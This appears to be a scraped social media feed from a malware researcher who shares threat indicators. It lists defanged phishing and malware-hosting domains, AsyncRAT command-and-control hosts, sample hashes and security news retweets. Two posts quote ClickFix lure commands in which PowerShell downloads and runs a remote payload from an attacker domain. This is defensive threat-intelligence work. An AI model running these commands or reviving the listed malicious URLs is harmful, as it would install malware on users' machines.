JAMESWT
@JAMESWT_WT
Followers
37K
Following
85K
Media
10K
Statuses
53K
#Independent #Malware #Hunter #CyberSecurity #InfoSec https://t.co/KCFBJcHHcW
Joined August 2015
"Disponibilização de documento".👇.rtoup-6391356-metaflux-xytrmnwl-246.libreconocimiento.]com/.👇.lpate-9829-ioayurew-jakritu-16.cheapuggsoutlet.]us/vai/notafiscal6.6.zip. Samples #PDQConnect #RustyStealer.Hunting 👇. cc @dodo_sec
1
5
18
RT @ransomnews: 🚨 Mauritania Gov Job Cert platform breached. QCE platform hit in 12.8GB data leak: IDs, CVs, diplomas, contracts exposed. 1….
0
1
0
RT @blackorbird: Breaking down the UserAssist artifact structure.UserAssist used to register the execution of GUI programs..
0
6
0
RT @ShadowOpCode: 🚨 #OpenDir alert!. Stumbled upon a publicly exposed directory hosting a nice little malware stash:.👉EnergizerTrojan.👉Flam….
0
3
0
RT @D3LabIT: ⚠️ Malware VipKeylogger in diffusione in #ItalianGP . Rilevata una nuova campagna via email:.📌 “RICHIESTA D’OFFERTA NR. 401/C”….
0
3
0
RT @SquiblydooBlog: 1337 entries in Cert Central. This represents ~1300* unique code-signing certificates issued to cybercriminals for abus….
0
6
0
0
5
0
Scadenza del servizio @serverplan .com. (Rinnova ora il tuo dominio [].). ⛔️https://renewalserviceplatform.]com/managehosting/pagamento.php?Autorizzazione#42050330
0
3
11
RT @ESETresearch: #ESETresearch has mapped the labyrinth of #AsyncRAT forks, identifying the most prevalent versions of this open-source ma….
0
32
0
👇.#AsyncRat .8fnuawbfuac.]click:8888.8eh18dhq9wd.]click:8888.8hdfiqowchq.]click:8888.8nioqhxciwoqc.]click:8888.8fhd2idhacas.]click:8888.
0
0
0
#booking #fakecaptcha #clickfix .👇.booking.hotel-statuspay.]com/sign-in?.👇.powershell -Command "iwr http://booknsvrf.]com/ -OutFile "$env:TEMP\x.hta"; . 👇#AsyncRat.booknsvrf.]com/sls/bdxnsmp.exe. Samples👇. cc @500mk500 @k3dg3
#booking #fakecaptcha #clickfix.👇. https://admin-properties-captcha.]com/sign-in?.👇.powershell -Command "iex ((New-Object Net.WebClient).DownloadString(' https://bknpnt.]com/bkngpntqow'))". Samples👇. ▶️AnyRun. cc @500mk500 @k3dg3
2
6
19
#Atomic #macOS #Stealer Mentioned Samples.👇. 💯+ extra new samples from.👇.⛔️ https://isnimitz.]com/zxc/app.⛔️https://stanprinston.]com/zxc/app.zip.⛔️https://isnimitz.]com/zxc/app.zip
Atomic macOS Stealer (#AMOS), a new variant, now adds a persistent backdoor. 🪝 Resident loader drops bot .🔧 Run bash cmds anytime .♻️ Re-run stealer on demand .💣 Self-delete remotely .🔑 Restore Gmail sessions via Chrome sync. Good samples catch in-the-wild & write-up by
1
7
18
RT @MarceloRivero: Atomic macOS Stealer (#AMOS), a new variant, now adds a persistent backdoor. 🪝 Resident loader drops bot .🔧 Run bash c….
0
4
0
RT @spamhaus: 🤖 Jan-Jun 2025 Botnet Threat Update out now!. ⬆️ Total of 17,258 botnet C&Cs observed, up by +26%. ⬇️ Botnet C&Cs continue t….
0
13
0
RT @Unit42_Intel: Attackers are more frequently using Windows shortcut (LNK) files to distribute malware. We cover four main categories of….
0
57
0
RT @500mk500: @JAMESWT_WT @CyberGhost13337 @1nt3l_hunt @skocherhan + huhl5r.easypanel\.host with the same content.
0
1
0
From mentioned svg and related fakecaptcha html. http://206.189.189.]57/
#opendir .(malware and xxx image).👇. and. cc @CyberGhost13337 @1nt3l_hunt @skocherhan
Pivoting on a file named google-privacy-policy-Cb0CGVRT.svg was used in a ClickFix campaign. hash: 51da32d8582706c6229f9a548da21b9845cb51ee55736a252addcdf2b1df5848. @silentpush .@banthisguy9349.@RacWatchin8872.@SquiblydooBlog.@skocherhan.@500mk500.@volrant136.@smica83
1
5
14